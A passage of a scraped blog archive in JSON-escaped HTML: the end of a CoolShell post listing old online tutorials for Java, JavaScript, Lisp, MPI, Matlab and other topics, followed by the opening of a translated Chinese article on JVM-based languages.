underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/collections/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to the Collections Framework </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/corb/a\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to CORBA </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/rmi/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fundamentals of RMI </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://home.att.net/~baldwin.r.g/scoop/tocadv.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Advanced </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://home.att.net/~baldwin.r.g/scoop/tocint.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introductory </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://home.att.net/~baldwin.r.g/scoop/tocmed.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Intermediate </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://java.sun.com/docs/books/jls/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Language Specification </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://java.sun.com/docs/books/tutorial/servlets/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Tutorial: Servlet Trail </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://java.sun.com/docs/books/vmspec/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Virtual Machine Specification (2nd Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://java.sun.com/docs/glossary.print.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Glossary of Java and Related Terms </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://java.sun.com/docs/white/langenv/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Java Language Environment </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://java.sun.com/products/jlf/dg/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Look and Feel Design Guidelines </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://java.sun.com/products/servlet/articles/tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Story of a Servlet: An Instant Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://javaboutique.internet.com/articles/ITJ/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to Java </span></a><br/>\n<a href=\"http://javaboutique.internet.com/tutorials/Java2D/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java2D: An Introduction and Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://jserv.java.sun.com/products/java-server/documentation/webserver11/servlets/servlet_tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Servlet Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://metalab.unc.edu/javafaq/javafaq.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">comp.lang.java FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://metalab.unc.edu/javafaq/javatutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Brewing Java: A Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://users.neca.com/vmis/java.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Shlurrrppp … Java: The First User-Friendly Tutorial on Java </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://web2.java.sun.com/docs/books/tutorial/uiswing/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Swing Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.apl.jhu.edu/~hall/jav/aSwing-Tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Swing: A Quick Tutorial for AWT Programmers </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.bruceeckel.com/TIJ2/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Thinking in Java </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.ccs.neu.edu/home/kenb/com3337/rmi_tut.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java RMI Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.cs.wisc.edu/~solomon/cs537/java-tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java for C++ Programmers </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.execpc.com/~gopalan/jav/ajava_tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Advanced Jav/aJ2EE Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/078970935X/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Hacking Java: The Java Professional’s Resource Kit </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/0789714663/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JFC Unleashed </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/157521069X/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Developer’s Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/1575211297/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Developer’s Reference </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/1575211831/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself Java in 21 Days (Professional Reference Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/1575211971/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Unleashed (2nd Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/1575212986/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java 1.1 Unleashed (3rd Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.intergate.bc.c/apersonal/iago/javatut/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Game Programming Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.io.com/~maus/JavaNetworkingFAQ.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Networking FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.javasoft.com/docs/books/tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Tutorial: A Practical Guide for Programmers </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.javaworld.com/javaworld/jw-12-1996/jw-12-sockets.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sockets Programming in Java </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxfocus.org/English/articles/article34.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Programming with Java – Part I </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxfocus.org/English/articles/article8.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Programming with Java – Part II </span></a><br/>\n<a href=\"http://www.linuxgazette.com/issue45/gibbs/Linux_java.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Setting Up a Java Development Environment for Linux </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.sofcom.com.au/jav/a\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Understanding Java </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue55/2570.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Beginner’s Guide to JDK </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue61/2673.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GUI Development in Java </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue66/3119.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Java Servlets: An introduction to writing and running Java servlets on Linux </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">JavaScript</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://andyjava.simplenet.com/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introductory JavaScript Tutorials </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.netscape.com/docs/manuals/communicator/jsguide4/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JavaScript Authoring Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.netscape.com/docs/manuals/js/client/jsguide/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Client-Side JavaScript 1.3 Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.netscape.com/docs/manuals/js/client/jsref/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Client-Side JavaScript 1.3 Reference </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.netscape.com/docs/manuals/js/core/jsguide/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Core JavaScript 1.4 Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.netscape.com/docs/manuals/js/core/jsref/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Core JavaScript 1.4 Reference </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.netscape.com/docs/manuals/ssjs/1_4/contents.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Server-Side JavaScript 1.4 Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.netscape.com/support/faqs/champions/javascript.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JavaScript FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://home.att.net/~baldwin.r.g/scoop/tocjscript1.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JavaScript Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://rampages.onramp.net/~jnardo/javascript/zen.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Way of JavaScript </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://rummelplatz.uni-mannheim.de/~skoch/js/tutorial.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Voodoo’s Introduction to JavaScript </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://wdvl.com/Authoring/JavaScript/Tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JavaScript Tutorial for Programmers </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://wsabstract.com/javatutors/primer1.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JavaScript Primer </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.echoecho.com/javascript.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">EchoEcho JavaScript Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/1575211955/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself JavaScript 1.1 in a Week (2nd Ed.) </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Lisp</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://ringer.cs.utsa.edu/research/AI/cltl/common-lisp-tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Common Lisp Hints </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.cs.cmu.edu/Web/Groups/AI/html/cltl/cltl2.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Common Lisp the Language (2nd Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.cs.cmu.edu/Web/Groups/AI/html/faqs/lang/lisp/top.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Lisp FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.cse.cuhk.edu.hk/~csc4510/lisp/html/lisp.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Lisp Programming Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.eecs.tulane.edu/www/Villamil/lisp/lisp1.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Lisp Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.nyu.edu/pages/linguistics/nlcp/lisp.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">LISP Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.xanalys.com/software_tools/reference/HyperSpec/FrontMatter/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Common Lisp HyperSpec </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">MIDI</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://www.borg.com/~jglatt/tutr/miditutr.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Basic MIDI Tutorials </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.harmony-central.com/MIDI/Doc/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Tutorial on MIDI and Music Synthesis </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">ML</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://cs.wwc.edu/Environment/SML-Tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">ML Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.dcs.ed.ac.uk/home/stg/NOTES/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Programming in Standard ML ’97 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.dcs.napier.ac.uk/course-notes/sml/manual.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Gentle Introduction to ML </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.dina.dk/~sestoft/manual/manual.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Moscow ML Owner’s Manual </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">MPI</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://www-erl.mit.edu/cagc/mpi/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">An MPI Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-unix.mcs.anl.gov/mpi/tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Tutorial on MPI </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-unix.mcs.anl.gov/mpi/tutorial/mpibasics/index.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">MPI: Portable Parallel Programming for Scientific Computing </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-unix.mcs.anl.gov/mpi/tutorial/perf/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Tuning MPI Applications for Peak Performance </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.epm.ornl.gov/~walker/mpi/SLIDES/mpi-tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">MPI: From Fundamentals to Applications </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.mpi.nd.edu/mpi_tutorials/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">MPI Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.netlib.org/utk/papers/mpi-book/mpi-book.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">MPI: The Complete Reference </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.scs.leeds.ac.uk/cpde/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to Parallel Programming Using MPI </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.tc.cornell.edu/Edu/Talks/MPI/Basic/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Basics of MPI Programming </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Matlab</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<span style=\"font-family: 'Times New Roman';\"><a href=\"http://www.engin.umich.edu/group/ctm/basic/basic.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Matlab Basics Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.math.ufl.edu/help/matlab-tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Matlab Summary and Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.mathworks.com/access/helpdesk/help/fulldocset.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Matlab – Official Online Manuals in PDF </span></a><br/>\n</span><br/>\n<strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Misc</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://bigfoot.eecs.umich.edu/~soar/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Soar 8 Tutorial Home Page </span></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/585.html\"><img alt=\"5个不错的Flash的英文教程网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/585.html\">5个不错的Flash的英文教程网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/355.html\"><img alt=\"20本最好的Linux免费书籍\" height=\"150\" src=\"../wp-content/uploads/2009/04/screenshot-linuxdevicedrivers-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/355.html\">20本最好的Linux免费书籍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/870.html\"><img alt=\"Web设计的速查卡\" height=\"150\" src=\"../wp-content/uploads/2009/05/07-01_cs3_keyboard_shortcuts-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/870.html\">Web设计的速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1751.html\"><img alt=\"Go 语言：Google 的新编程语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1751.html\">Go 语言：Google 的新编程语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/595.html\"><img alt=\"Oracle成功收购Sun\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/595.html\">Oracle成功收购Sun</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/240.html\">非常不错的编程技术教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-26 基于JVM的语言正在开始流行.html",
    "content": "<html><body><p><strong>总结：</strong></p>\n<p>这是 <a class=\"uname\" href=\"https://coolshell.cn/member/reuven\">Reuven Lerner</a>在去年写的一篇博文，文章主要介绍了一些新兴的基于JVM的脚本语言。结合本文可以对Bruce的博文《<a href=\"https://coolshell.cn/articles/209.html\" target=\"_blank\">C++和JAVA传统中积极的一面</a>》有一个很好的理解。译者认为：语言始终都是一门工具，软件设计最重要的东西是来自于设计者的创造性，但是随着Java语言的出现，他的半动态的特性，ClassLoader，反射，动态代理，都是提高开发者创造性的前提，正是因为这些特性，才会出现新的的编程模式和范式——反转控制和依赖注入，面向方面的编程(AOP)。试想如果Java不提供ClassLoader，反射，动态代理机制的API，如何能实现依赖查找和依赖注入和动态AOP? 你能用C++来反转控制，依赖查找吗，能对容器中的组件做进行生命周期管理吗？为了说明程序员创造性和语言的这个关系，我引用<a href=\"http://hinchcliffe.org/\" target=\"_self\">Dion Hinchcliffe</a>博文中的一张图来说明：</p>\n<p> <img alt=\"程序员创造性和性能的关系\" class=\"size-full wp-image-248 alignnone\" height=\"326\" src=\"../wp-content/uploads/2009/03/weblanguagecomparison1.png\" title=\"程序员创造性和性能的关系\" width=\"400\"/></p>\n<p>原文：<a href=\"http://ostatic.com/blog/jvm-based-languages-grow-in-popularity\">http://ostatic.com/blog/jvm-based-languages-grow-in-popularity</a><br/>\n<strong>基于JVM的语言正在开始流行</strong></p>\n<p>当Sun Microsystems公司在1995年第一次揭开Java的面纱的时候，就是非常难被定义的。这是因为JAVA是由多个部分构成：首先，它当然是一个面向对象语言。同时JAVA也是一个定义标准的语言(或多个标准，包括移动设备，标准，和企业三个版本)。最后，Java是一个虚拟机(“JVM”)，一个Java程序能够执行的软件环境。如果你有一个JVM，虽然这个JVM只能用来运行Java的程序——但是，JVM能在运行在你能想到的每一个平台之上，这使得Java成为一个具有高移植性的语言。</p>\n<p><span 